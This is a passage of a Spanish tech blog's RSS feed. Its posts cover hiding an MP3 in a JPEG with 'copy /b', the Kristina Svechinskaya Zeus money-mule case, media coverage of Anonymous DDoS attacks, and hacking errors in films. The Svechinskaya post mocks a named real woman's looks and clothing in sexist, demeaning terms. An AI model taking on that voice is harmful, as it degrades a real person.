<p>Pero hoy hablaremos de <strong>una técnica binaria más retro y poco conocida y reconocida</strong>. Explicaremos, pues, cómo ocultar un archivo dentro de otro <strong>haciendo uso simplemente del comando <code>copy</code> de MS-DOS y su parámetro modificador <code>/b</code></strong>. ¿O sea, que esto se ha podido hacer con un ordenador desde hace años? Pues sí, mire usted, no es cosa del presente.</p>
<p>Como todos deberíamos saber ya, <strong>el comando <code>copy</code> permite copiar uno o más archivos en otra ubicación a la actual</strong>, esto es, crea duplicados exactos de los ficheros especificados en una carpeta o directorio indicado. Su modificador <code>/b</code> (¡qué grandes olvidados, los parámetros modificadores!) hace trabajar a <code>copy</code> en <strong>formato binario</strong>, esto es, a nivel de bits. Además, <strong>el comando <code>copy</code> es capaz de anexar o unir varios archivos en uno solo</strong>, y esta capacidad, unida a la copia binaria, es la que utilizaremos para ocultar un archivo dentro de otro. Por una cuestión de funcionalidad que posteriormente explicaremos, vamos a trabajar con un <strong>archivo musical en formato MP3</strong> (archivo oculto) y otro de <strong>imagen en formato JPEG</strong> (archivo portador).</p>
<p>Antes de otra cosa, <strong>vamos a hacer una prueba sencilla</strong>. En una carpeta en nuestro disco duro generaremos tres archivos de texto plano llamados <code>texto1.txt</code>, <code>texto2.txt</code> y <code>texto3.txt</code>. En cada uno de ellos incluiremos una simple línea que diga &#8220;<code>Esto es texto<em>X</em>.txt</code>&#8220;, siendo <code><em>X</em></code> el número asignado a cada fichero y terminando el renglón con un retorno de carro. El paso siguiente es escribir esta línea de comando en una ventana de consola de MS-DOS:</p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax8"></a><a style="wp-synhighlighter-title" href="#codesyntax8"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código MS-DOS</a></div><div class="wp-synhighlighter-inner"><div class="php" style="font-family:monospace;">copy /b texto1.txt + texto2.txt + texto3.txt textofinal.txt</div></div></div></p>
<p>La sintaxis es bien sencilla. Primero el <strong>comando</strong> (<code>copy</code>), después su <strong>parámetro modificador</strong> (<code>/b</code>), luego <strong>los tres archivos que queremos anexar</strong> separados por un símbolo de adición (<code>texto1.txt + texto2.txt + texto3.txt</code>) y, por último, y separando lo anterior por un espacio, el <strong>fichero final de salida</strong> (<code>textofinal.txt</code>). El resultado es un archivo <code>textofinal.txt</code> que contiene lo incluido en los tres archivos fuente, es decir:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax9"></a><a style="wp-synhighlighter-title" href="#codesyntax9"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Resultado</a></div><div class="wp-synhighlighter-inner"><div class="php" style="font-family:monospace;">Esto es texto1.txt<br />
Esto es texto2.txt<br />
Esto es texto3.txt</div></div></div>
<p>Visto el funcionamiento, <strong>pasemos a la acción</strong>. Como decíamos, vamos a ocultar un fichero MP3 (<code>audio.mp3</code>) en un fichero JPEG (<code>imagen.jpg</code>), obteniendo como resultado una imagen JPEG con el archivo de audio embebido. El comando que debemos utilizar es el que sigue, siendo <code>imagenfinal.jpg</code> el archivo objeto final:</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax10"></a><a style="wp-synhighlighter-title" href="#codesyntax10"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código MS-DOS</a></div><div class="wp-synhighlighter-inner"><div class="php" style="font-family:monospace;">copy /b imagen.jpg + audio.mp3 imagenfinal.jpg</div></div></div>
<p>Ya tenemos una imagen perfectamente visible <strong>con un archivo musical oculto en ella</strong>. Evidentemente, el tamaño actual de la imagen será la suma de los tamaños de ambos ficheros origen.</p>
<p>Sin embargo, hay un pero (¿por qué siempre tiene que haber un puñetero pero?). Como se ha comentado, <code>copy /b</code> es capaz de anexar dos archivos binarios. Esto significa que irá <strong>uno de ellos (el segundo) pegadito al culo del otro (el primero)</strong>, por lo que el fichero objeto tendrá toda la información de los ficheros de origen, <strong>cabeceras de archivo incluidas</strong>. Ello supone que, en el caso del ejemplo anterior, lo primero que nos encontraremos será la cabecera del archivo de imagen, por lo que <strong>cualquier software de tratamiento digital lo reconocerá como tal</strong>. Sin embargo, la cabecera del archivo MP3 no está al inicio del archivo, y eso quiere decir que <strong>no todos los programas serán capaces de reproducir el sonido</strong>. Windows Media Player, por ejemplo, no lo hace, sin embargo Winamp sí (sólo debemos cambiar la extensión <code>.jpg</code> del archivo por <code>.mp3</code>).</p>
<p>Si hubiéramos anexado los archivos <strong>en orden inverso</strong>, el audio sería fácilmente reconocido por cualquier software de reproducción, pero con la imagen tendríamos problemas a la hora de visualizarla.</p>
<p>Es la única pega que se le puede sacar a este método, que de por sí no fue inventado como esteganográfico. <strong>Bastante hace el bueno de <code>copy</code></strong>, pero no se pueden pedir peras al olmo. Quede para la posteridad como <strong>curiosidad <em>vintage</em> del mundo de la esteganografía</strong>.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2011%2F03%2F06%2Festeganografia-retro-para-torpes%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2011/03/06/esteganografia-retro-para-torpes/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Esteganografía retro para torpes" data-url="http://www.teknoplof.com/2011/03/06/esteganografia-retro-para-torpes/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2011/03/06/esteganografia-retro-para-torpes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La hacker más sexy del mundo ni es hacker ni es sexy</title>
		<link>http://www.teknoplof.com/2011/01/03/la-hacker-mas-sexy-del-mundo-ni-es-hacker-ni-es-sexy/</link>
		<comments>http://www.teknoplof.com/2011/01/03/la-hacker-mas-sexy-del-mundo-ni-es-hacker-ni-es-sexy/#comments</comments>
		<pubDate>Mon, 03 Jan 2011 21:26:09 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Underground]]></category>
		<category><![CDATA[anna chapman]]></category>
		<category><![CDATA[delincuente]]></category>
		<category><![CDATA[desfalco]]></category>
		<category><![CDATA[estafa]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[Kristina Svechinskaya]]></category>
		<category><![CDATA[sexy]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=3930</guid>
		<description><![CDATA[Hace tres meses saltó a la palestra informativa el desfalco cometido por un grupo internacional de delincuentes cibernéticos que logró estafar 220 millones de dólares a varios bancos estadounidenses y británicos. Una banda de hacker maliciosos que, haciendo uso del troyano conocido como Zeus, se apoderó de los números clave y de las contraseñas de miles [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_3932" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-3932" title="Kristina Svechinskaya" src="http://www.teknoplof.com/wp-content/uploads/2011/01/kristina_0.jpg" alt="Kristina Svechinskaya" width="180" height="280" /><p class="wp-caption-text">Kristina Svechinskaya</p></div>Hace tres meses saltó a la palestra informativa <a href="http://es.globedia.com/sexy-hacker-kristina-svechinskaya-intenta-robar-220-mdd">el desfalco cometido por un grupo internacional de delincuentes cibernéticos</a> que logró estafar <strong>220 millones de dólares a varios bancos estadounidenses y británicos</strong>. Una banda de hacker maliciosos que, haciendo uso del <a href="http://www.sahw.com/wp/archivos/2009/09/21/zeus-o-como-desarrollar-un-troyano-indetectable-para-la-mayoria-de-antivirus/">troyano conocido como Zeus</a>, se apoderó de los números clave y de las contraseñas de miles de clientes para, posteriormente, transferir diferentes cantidades de dinero a sus cuentas, habilitadas a tal efecto.  </p>
<p>Es curiso, porque de la noticia no conocimos ni el nombre de la banda, ni el de la operación policial, ni el del juez que llevaba el caso en los USA. No habríamos oído siquiera mencionar el tema <strong>de no ser por una de las integrantes del desfalco</strong>, una joven rusa de veintiún años llamada <a href="http://en.wikipedia.org/wiki/Kristina_Svechinskaya">Kristina Svechinskaya</a>.  </p>
<p>Las rotativas sensacionalistas de medio planeta digital apodaron rápidamente a Kristina como &#8220;la hacker más sexy del mundo&#8221;, y <strong>su romántica figura fue rápidamente relacionada con la de </strong><a href="http://es.wikipedia.org/wiki/Anna_Chapman"><strong>Anna Chapman</strong></a>, la guapa empresaria de origen ruso acusada de espionaje por el Fiscal General de los Estados Unidos meses antes y deportada en julio de 2010. <strong>¿Qué tienen las rusas?</strong>  </p>
<p>La adorable chiquilla, de ojos de cristal de Swarowsky y trasero reciamente ceñido por pantalones de hechura imposible, <strong>levantó la voz de los internautas contra su proceso</strong>, en el que se solicitaban hasta cuarenta años de cárcel para la torda ex soviética. Llorando como una Magdalena llegó a los juzgados, con mohín de apiádense de esta pobre niña rica de mirada penetrante.  </p>
<p>El imaginario de la comunidad internauta salta como un resorte <strong>cuando aparece en portada una cara bonita unida a un ilusorio concepto geek <em>underground</em></strong>. Todos los blog del mundo mundial se hicieron eco de la noticia, y los medios tradicionales también, recabando <a href="http://www.taringa.net/posts/noticias/7978263/Kristina-Svechinskaya-la-hacker-mas-sexy-en-serios-apuros.html">fotos de la muchacha</a> y apostando por su puesta en libertad. Y es que cómo se va a juzgar a una criatura tan divina como esta por algo tan molón como <strong>la idea robinjudiana de robar al rico para agasajar al pobre</strong>. La realidad es bastante menos romanticona.  </p>
<p>Lo cierto es que <strong>Kristina Svechinskaya era una alumna universitaria con visado de estudiante</strong> residiendo en Manhattan. Como lo era también buena parte de los otros 37 detenidos en Nueva York, jóvenes procedentes de las repúblicas ex soviéticas que <strong>fueron reclutados por una organización de piratas informáticos</strong>, camaradas y compatriotas, para hacer de mulas de dinero, es decir, hacer las veces de <strong>piezas de lavado de capital</strong> robado en el entramado criminal.</p>
<p><div id="attachment_3933" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-3933" title="Otra foto de la muchacha" src="http://www.teknoplof.com/wp-content/uploads/2011/01/kristina_1.jpg" alt="Otra foto de la muchacha" width="500" height="330" /><p class="wp-caption-text">Otra foto de la muchacha</p></div>
<p>Además, <a href="http://www.abc.es/20101020/internacional/hacker-sexy-mundo-201010201818.html">el mito se cae por su propio peso</a> cuando te percatas de que lo que hacía esta gente era <strong>robar los ahorros de particulares y pequeños empresarios</strong> para engordar su libreta de ahorros a costa de quitarle a los pobres. Nada de grupo de hacker con ideales anticapitalistas que desenmarañan las protecciones de seguridad de grandes compañías y gobiernos, por el simple placer del reto intelectual que ello supone. <strong>Simples chorizos de tres al cuarto</strong>.  </p>
<p>Dudo de la capacidad de Svechinskaya para manejar un troyano. Su cometido (como el del resto de reclutas) era el de <strong>abrir cuentas bancarias con nombres falsos o a favor de empresas que no existían</strong>. A estas cuentas se desviaba el dinero robado por los verdaderos hacker, dispersando así su botín, y que <strong>abonaban un montante del 10% de lo sustraído a los incautos jovenzuelos</strong> colaboradores, Kristina entre ellos.  </p>
<p>Sin embargo, es mucho más novelero colocar a una moza de buen ver al lado del romántico ideal de leyenda antisistema que representan los hacker, haciendo, por otro lado, <strong>bastante daño al concepto real de lo que es un hacker</strong>. Pero no, ya lo siento por ustedes, Kristina Svechinskaya no es ninguna hacker, y recelo bastante de sus capacidades informáticas más allá de actualizar su perfil de Facebook.  </p>
<p>Y con respecto a lo de sexy, hombre, <strong>todo es cuestión de gustos</strong>. A mí, desde luego, la petarda que se puede ver en la fotografía central que incluye esta entrada podría ser de todo menos sexy. Esas uñas ochenteras de tarotista televisiva de media noche, ese pantalón de lycra elástica y esa blusa transparente que deja al descubierto el encaje del sostén se acercan tanto a mi concepto de elegancia y atractivo sexual <strong>como se asemejan una mariposa y un caballo</strong>. Muchos pueden discrepar y pensar que la chiquilla tiene un revolcón, pero de ahí a ponerla de sexy va un mundo.  </p>
<p>Las mentes inquietas y calenturientas de los friquis digitales <strong>necesitan de una reina que ocupe el puesto que se merece en un mundo tecnológico copado de testosterona</strong>. Ello nos lleva a relacionar tetas y bits a la primera oportunidad que se presente, aunque el nexo no llegue más allá de un titular periodístico populachero. Desde luego, si la cuestión en fusionar belleza, distinción y tecnología, <a href="http://www.teknoplof.com/2010/11/16/la-polemica-de-jade-raymond/">me quedo con tipas del estilo de Jade Raymond</a> antes que con estorninos como este, por mucha pinta que tengan de espías que surgieron del frío. Como decía, es cuestión de gustos. Sin más.  </p>
<p>Al fin y al cabo, cuando salga de la trena, siempre puede vender su cuerpo a alguna revista masculina de digestión fácil, <a href="http://solitariogeorge.com/2010/10/22/las-fotos-de-anna-chapman-en-maxim/">como hizo en su día la propia Anna Chapman en Maxim</a>. <strong>Dinero fácil es dinero fácil</strong>.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2011%2F01%2F03%2Fla-hacker-mas-sexy-del-mundo-ni-es-hacker-ni-es-sexy%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2011/01/03/la-hacker-mas-sexy-del-mundo-ni-es-hacker-ni-es-sexy/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="La hacker más sexy del mundo ni es hacker ni es sexy" data-url="http://www.teknoplof.com/2011/01/03/la-hacker-mas-sexy-del-mundo-ni-es-hacker-ni-es-sexy/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2011/01/03/la-hacker-mas-sexy-del-mundo-ni-es-hacker-ni-es-sexy/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>El sensacionalismo chabacano de los medios de comunicación</title>
		<link>http://www.teknoplof.com/2010/12/10/el-sensacionalismo-chabacano-de-los-medios-de-comunicacion/</link>
		<comments>http://www.teknoplof.com/2010/12/10/el-sensacionalismo-chabacano-de-los-medios-de-comunicacion/#comments</comments>
		<pubDate>Fri, 10 Dec 2010 10:34:07 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Underground]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[información]]></category>
		<category><![CDATA[medios de comuniación]]></category>
		<category><![CDATA[sensacionalismo]]></category>
		<category><![CDATA[wikileaks]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=3857</guid>
		<description><![CDATA[A cuenta de los ataques DDoS que están sufriendo las entidades y organizaciones que boicotearon, en mayor o menor medida, a WikiLeaks tras la busca y captura de Julian Assange, estoy hasta las mismísimas gónadas sexuales de escuchar y leer en los medios de comunicación hablar de grupo de &#8216;hackers&#8217; organizados, &#8216;hackers&#8217; peligrosos, piratas terroristas [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_3859" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-3859" title="Sensacionalismo en estado puro" src="http://www.teknoplof.com/wp-content/uploads/2010/12/sensa_0.jpg" alt="Sensacionalismo en estado puro" width="180" height="183" /><p class="wp-caption-text">Sensacionalismo en estado puro</p></div>A cuenta de los <a href="http://es.wikipedia.org/wiki/Ataques_de_denegaci%C3%B3n_de_servicio">ataques DDoS</a> que están sufriendo <a href="http://blogs.elpais.com/trending-topics/2010/12/quien-es-anonymous.html">las entidades y organizaciones</a> que boicotearon, en mayor o menor medida, a <a href="http://213.251.145.96/">WikiLeaks</a> tras la busca y captura de <a href="http://es.wikipedia.org/wiki/Julian_Assange">Julian Assange</a>, <strong>estoy hasta las mismísimas gónadas sexuales</strong> de escuchar y leer en los medios de comunicación hablar de grupo de <a href="http://www.swissinfo.ch/spa/suiza_y_el_mundo/internacional/Las_webs_de_MasterCard_y_la_fiscalia_sueca,_victimas_de_hackers.html?cid=28980948">&#8216;hackers&#8217; organizados</a>, <a href="http://www.contexto.com.ar/nota/40137/los-hackers-mas-peligrosos-del-mundo-atacaran-twitter-como-apoyo-a-assange.html">&#8216;hackers&#8217; peligrosos</a>, <a href="http://tecnologia21.com/congresista-wikileaks-grupo-terrorista">piratas terroristas</a> y <strong>otras lindezas varias</strong>. </p>
<p>El oscuro y repulsivo <strong>sensacionalismo de estos <span style="text-decoration: line-through;">des</span>informadores</strong> ha convertido al grupo <a href="http://es.wikipedia.org/wiki/Anonymous_(sociedad)">Anonymous</a> en gente peligrosa, cuando cualquiera medianamente informado conoce que <strong>Anónimo puede ser hasta mi tío abuelo</strong>. Desde las trincheras de <a href="http://www.teknoplof.com/2010/05/04/4chan-la-rebeldia-irreverente-en-internet/">4chan</a>, que es donde se expresan comúnmente los Anónimos, se ofrecen <strong>las instrucciones precisas para unirse a un ataque de este tipo</strong>, y no es necesario en absoluto tener muchos conocimientos técnicos para ello. <strong>Ahí reside la fuerza de Anonymous</strong>. </p>
<p>Un ataque de denegación de servicio es algo muy fácil de explicar. Cuando nosotros accedemos a una página web, en realidad <strong>estamos enviando una petición específica</strong> al servidor que la aloja que describe lo que queremos visualizar. Estos servidores <strong>tienen una capacidad limitada</strong> para gestionar este tipo de peticiones, por lo que si se conectan multitud de personas a un mismo sitio web en un momento determinado, el servidor podría llegar a caerse <strong>por saturación de sus puertos</strong>, emitiendo un error que se denomina de denegación de servicio (en ese momento no puede responderte y rehusa el encargo). </p>
<p>Evidentemente, <strong>los servidores web actuales soportan muchísimas peticiones instantáneas</strong>, por lo que un montón de visitas no los puedes hacer caer. Pero existen programas que <strong>se encargan de enviar miles de peticiones al minuto</strong> a una dirección IP especificada y a través de un puerto concreto. Estas pequeñas piezas de software <a href="http://diesl.com/blog/?p=11747">se encuentran rápidamente en Internet</a>, son fáciles de instalar y <strong>muy sencillas de utilizar</strong>, pues simplemente hay que indicar la dirección que debe ser atacada, el puerto en concreto y, adicionalmente, alguna otra configuración como el número de paquetes adecuados u otras. </p>
<p>Cuando una sola persona utiliza un software de este tipo para atacar un servidor, el ataque se llama de <strong>denegación de servicio</strong> (DoS). Si un grupo de personas en contacto se alía para realizar un asalto contra un mismo objetivo desde distintos lugares, el ataque se denomina de<strong> denegación de servicio distribuido</strong> (DDoS). Las arremetidas de los Anónimos se realizan <strong>desde millones de máquinas en todo el mundo</strong>, ergo la catástrofe está asegurada. </p>
<p>Cuando Anonymous programa un DDoS, <strong>difunde su intención a través del foro <code>/b/</code> de 4chan</strong> y vía la web de Operation Payback (que cambia continuamente debido a contraataques), así como desde sus respectivas cuentas en Twitter y Facebook (<a href="http://www.elmundo.es/elmundo/2010/12/10/navegante/1291969974.html">ahora anuladas</a>). En esos comunicados <strong>se especifica qué software utilizar</strong>, de dónde descargarlo (si fuera necesario), cómo configurarlo, a qué dirección IP apuntar, qué puerto lógico es el objetivo y la hora en la que comenzar. Con lo cual, <strong>cualquiera que se quiera unir al ataque puede hacerlo</strong> de forma sencilla y rápida. </p>
<p>El poder que desatan los Anónimos en cada ofensiva depende fuertemente de esta capacidad de aunar frentes de batalla en cualquier parte del mundo y de congregar a cualquier clase de persona. Para que vengan luego los informativos hablando de <strong>bandas organizadas de &#8216;hackers&#8217; peligrosísimos</strong>, de ciberguerras, de pirateos vandálicos y demás. <strong>Sensacionalismo puro y duro</strong> que, cómo siempre, pretende criminalizar a Internet y a sus navegantes con el objeto de <strong>justificar la imposición de cortapisas</strong> y medidas censoras en la Red. Una vergüenza. </p>
<p>Y mientras tanto, <a href="http://mexico.cnn.com/mundo/2010/12/09/wikileaks-un-menor-de-16-anos-es-probable-responsable-de-ciberataques">la policía detiene adolescentes en Holanda</a> que hacen las veces <strong>de cabeza de turco y de contramedida adoctrinadora e intimidadora</strong> para que el resto del populacho se acojone y pare los machos antes de meterse en líos. </p>
<p>Si tienen lo que hay que tener, que encarcelen a los millones de Anónimos a lo largo y ancho del planeta, porque <strong>esta tendencia de </strong><a href="http://www.teknoplof.com/2010/09/21/protesta-masiva-online-4chan-la-vuelve-a-liar/"><strong>protesta digital</strong></a><strong> es imparable</strong> y cada vez va a ser más común entre los ciudadanos tecnológicos que viene detrás de nosotros.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F12%2F10%2Fel-sensacionalismo-chabacano-de-los-medios-de-comunicacion%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/12/10/el-sensacionalismo-chabacano-de-los-medios-de-comunicacion/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="El sensacionalismo chabacano de los medios de comunicación" data-url="http://www.teknoplof.com/2010/12/10/el-sensacionalismo-chabacano-de-los-medios-de-comunicacion/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/12/10/el-sensacionalismo-chabacano-de-los-medios-de-comunicacion/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>SSHv1 CRC32, el exploit de &#8216;Matrix Reloaded&#8217;</title>
		<link>http://www.teknoplof.com/2010/03/30/sshv1-crc32-el-exploit-de-matrix-reloaded/</link>
		<comments>http://www.teknoplof.com/2010/03/30/sshv1-crc32-el-exploit-de-matrix-reloaded/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 16:54:31 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Informática en general]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Underground]]></category>
		<category><![CDATA[Zona friqui]]></category>
		<category><![CDATA[crc32]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[informática]]></category>
		<category><![CDATA[matrix]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[película]]></category>
		<category><![CDATA[realoaded]]></category>
		<category><![CDATA[sshnuke]]></category>
		<category><![CDATA[sshv1]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=957</guid>
		<description><![CDATA[Todos hemos comprobado profusamente cómo se utilizan elementos de la cultura informática en las películas con una suerte bastante desacertada. Incluso cintas que se suponen pertenecientes al género computacional están cargadas de errores informáticos. Desde &#8216;Juegos de guerra&#8216;, e incluso bastante antes, los ordenadores han pasado a formar parte de la línea argumental de muchos [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_958" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-958" title="Trinity en 'The Matrix Reloaded'" src="http://www.teknoplof.com/wp-content/uploads/2010/03/trinity.jpg" alt="Trinity en 'The Matrix Reloaded'" width="180" height="137" /><p class="wp-caption-text">Trinity en &#39;The Matrix Reloaded&#39;</p></div>
<p>Todos hemos comprobado profusamente <strong>cómo se utilizan elementos de la cultura informática en las películas con una suerte bastante desacertada</strong>. Incluso cintas que se suponen pertenecientes al género computacional están cargadas de errores informáticos.</p>
<p>Desde &#8216;<a href="http://es.wikipedia.org/wiki/Juegos_de_guerra">Juegos de guerra</a>&#8216;, e incluso bastante antes, los ordenadores han pasado a formar parte de la línea argumental de muchos telefilmes. Y digo desde &#8216;Juegos de guerra&#8217; porque quizás fuera <strong>la primera película dedicada exclusivamente al mundo informático desde la perspectiva del hacking puro</strong>, en la que se mostraba una primitiva y rudimentaria Internet.</p>
<p>Esta película, genialmente interpretada por <a href="http://es.wikipedia.org/wiki/Matthew_Broderick">Matthew Broderick</a>, derrochaba imaginación, <strong>sin embargo no se le puede achacar un excesivo uso fantasioso de la informática</strong>, quizás porque en la época tampoco era posible crear efectos tridimensionales grandiosos y recurrieron a mostrar la austera pantalla negra de la consola y el adolescente introduciendo los comandos a mano. También es cierto que en algunos momentos a los guionistas se les fue la pinza un poco y se generan situaciones digitales bastante inverosímiles (sobre todo para la época); pero <strong>es una gran película</strong>.</p>
<p>La película &#8216;<a href="http://es.wikipedia.org/wiki/La_Red_(pel%C3%ADcula)">La red</a>&#8216;, que tiene como protagonista a <a href="http://es.wikipedia.org/wiki/Sandra_Bullock">Sandra Bullock</a>, es otro de esos títulos de culto en el mundo de hacking, aunque <strong>en ella se aprecia más la ignorancia informática de los guionistas y la despreocupación total del director y del productor por fabricar un producto serio más allá de una absurda trama</strong>. Direcciones IP que no existen, extraños efectos de interferencias en páginas web que llevan a sitios oficiales, chats imposibles y demás parafernalia son fácilmente reconocibles en &#8216;La red&#8217;. Además, por supuesto, de uno de los principales axiomas del panorama de las películas de tema informático, que dice aquello de que <strong>la velocidad de borrado del contenido de un disquete es inversamente proporcional a la tensión emocional de la escena</strong>.</p>
<p>Pero existe una película todavía peor, mucho peor. Es la película &#8216;<a href="http://es.wikipedia.org/wiki/Hackers_(pel%C3%ADcula)">Hackers  (piratas informáticos)</a>&#8216;. <strong>El colmo del despropósito informático</strong>, está cargada de interfaces gráficas deslumbrantes, de pantallas de <em>login</em> descomunales (muy típico) y de efectos e instrumentos digitales que se escapan, ya no del mundo de la informática, sino del mundo de la lógica aplastante. Esta película, con  una jovencísima <a href="http://es.wikipedia.org/wiki/Angelina_Jolie">Angelina Jolie</a> en el papel de Kate Libby (<em>aka</em> Acid Burn), tiene de la cultura <a href="http://es.wikipedia.org/wiki/Cyberpunk">cyberpunk</a> sólo la estética y poco más.</p>
<div id="attachment_959" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-959" title="Angelina Jolie en 'Hackers (piratas informáticos)'" src="http://www.teknoplof.com/wp-content/uploads/2010/03/hackers.jpg" alt="Angelina Jolie en 'Hackers (piratas informáticos)'" width="500" height="375" /><p class="wp-caption-text">Angelina Jolie en &#39;Hackers (piratas informáticos)&#39;</p></div>
<p>&#8216;<a href="http://es.wikipedia.org/wiki/Operaci%C3%B3n_Swordfish">Operación Swordfish</a>&#8216;, con <a href="http://es.wikipedia.org/wiki/John_Travolta">John Travolta</a>, es uno de los ejemplos de película en la que <strong>la informática sirve únicamente como telón de fondo para el argumento</strong>, porque <strong>prácticamente nada de lo que dicen tiene sentido</strong>. Para muestra un botón. En la siguiente escena (en inglés), archifamosa por lo absurda, Stanley Jobson (<a href="http://es.wikipedia.org/wiki/Hugh_Jackman">Hugh Jackman</a>) tiene que reventar la clave de acceso al Departamento de Defensa de los EEUU en 60 segundos mientras un esbirro del malo le apunta con una pistola a la cabeza y una rubia de traca le practica una felación. Vamos, lo nunca visto.</p>
<p style="text-align: center;"><p><a href="http://www.teknoplof.com/2010/03/30/sshv1-crc32-el-exploit-de-matrix-reloaded/"><em>Pinche aquí para ver el vídeo</em></a></p></p>
<p>Es impresionante verle teclear vaya usted a saber qué en el portátil mientras aparecen en pantalla listados larguísimos de términos informáticos sin conexión aparente alguna.</p>
<p>Series televisivas como &#8216;<a href="http://www.telecinco.es/csi/">CSI</a>&#8216; han metido la gamba también más de una vez. <strong>Memorable la imagen siguiente en la que aparece una dirección IP que ríete tú del protocolo <a href="http://es.wikipedia.org/wiki/IPv6">IPv6</a></strong>. ¿De dónde se han sacado números tan altos? Por el amor de Dios, ¿qué longitud en bits tienen esas direcciones? ¿Acaso los CSI tienen una red paralela a Internet en la que hay más máquinas conectadas que seres vivos en la galaxia? Y no ha sido la única vez que les pasa.</p>
<div id="attachment_960" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-960" title="Error de IP en 'CSI'" src="http://www.teknoplof.com/wp-content/uploads/2010/03/csi.jpg" alt="Error de IP en 'CSI'" width="500" height="229" /><p class="wp-caption-text">Error de IP en &#39;CSI&#39;</p></div>
